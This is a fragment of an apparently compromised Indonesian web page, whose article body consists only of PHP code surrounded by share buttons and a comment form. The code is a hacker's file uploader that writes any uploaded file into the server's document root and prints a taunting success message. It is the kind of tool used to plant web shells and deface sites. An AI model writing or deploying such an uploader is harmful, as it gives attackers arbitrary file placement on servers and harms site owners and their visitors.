Uncategorized

    44
    BAGIKAN



    “;
    $root = $_SERVER[‘DOCUMENT_ROOT’];
    $files = $_FILES[‘idx_file’][‘name’];
    $dest = $root.’/’.$files;
    if(isset($_POST[‘upload’])) {
    if(is_writable($root)) {
    if(@copy($_FILES[‘idx_file’][‘tmp_name’], $dest)) {
    $web = “http://”.$_SERVER[‘HTTP_HOST’].”/”;
    echo “sukses COk..!!!!! -> $web/$files“;
    } else {
    echo “gagal upload di document root.”;
    }
    } else {
    if(@copy($_FILES[‘idx_file’][‘tmp_name’], $files)) {
    echo “sukses upload $files di folder ini”;
    } else {
    echo “gagal upload”;
    }
    }
    }
    ?>

    BAGIKAN
    Artikel SelanjutnyaIr. H. TEGUH JUWARNO M.Si

    TINGGALKAN KOMENTAR

    Please enter your comment!
    Please enter your name here

    14 + eighteen =